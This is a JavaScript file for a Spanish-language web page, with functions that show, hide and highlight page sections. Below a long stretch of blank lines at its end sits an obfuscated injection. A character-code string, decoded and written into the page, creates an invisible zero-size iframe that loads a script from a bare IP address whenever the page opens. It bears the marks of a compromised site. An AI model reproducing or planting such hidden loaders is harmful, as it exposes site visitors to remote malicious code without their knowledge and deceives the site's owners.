var capas = null;

function guardaCapas (listaCapas) {
	capas = listaCapas;
}

function ocultaCapas() {
	for(var i in capas) {
		if (document.all) {
			document.all[capas[i]].style.display = "none";
		} else {
			var obj = document.getElementById(capas[i]);
			obj.style.display = "none";
		}
	}
}

function verCapa(id) {
// alert('nObj : '+id);

	// Ponemos celdas en estado normal
	document.all['fNota5'].style.color="#000000";
	document.all['fNota5'].style.background="#EFD8C0"; // #FFFBE6 
	document.all['fNota5'].style.cursor="default";
	document.all['fNota5'].style.border= "0px";

	// Resaltamos la celda selecionada
	document.all['f'+id].style.color="#302A09";
	document.all['f'+id].style.background="#FFEFD5";
	document.all['f'+id].style.cursor="hand";
	document.all['f'+id].style.border="1px solid #800000";
	ocultaCapas();

	// Mostramos la capa seleccionada
	if (document.all) {
		document.all[id].style.display="block";
	} else {
		var obj = document.getElementById(id);
		obj.style.display = "block";
	}
}


// SOLO PARA LA NOTA 5
function entra(id) {

// alert('Entrando en Nota5');

	document.all['f'+id].style.color="#302A09";
	document.all['f'+id].style.background="#FFEFD5";
	document.all['f'+id].style.border="1px solid #800000";

	if (document.all) {
		document.all[id].style.display="block";
	} else {
		var obj = document.getElementById(id);
		obj.style.display = "block";
	}


}



function sale(obj) {
var nObj = obj.id;

// if (nObj=='fNota5') { alert('Es el apartado 5'); }

	document.all[nObj].style.color="#000000";
	document.all[nObj].style.background="#EFD8C0"; // #FFFBE6
	document.all[nObj].style.cursor="default";
	document.all[nObj].style.border="0px";
	ocultaCapas();




}































var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

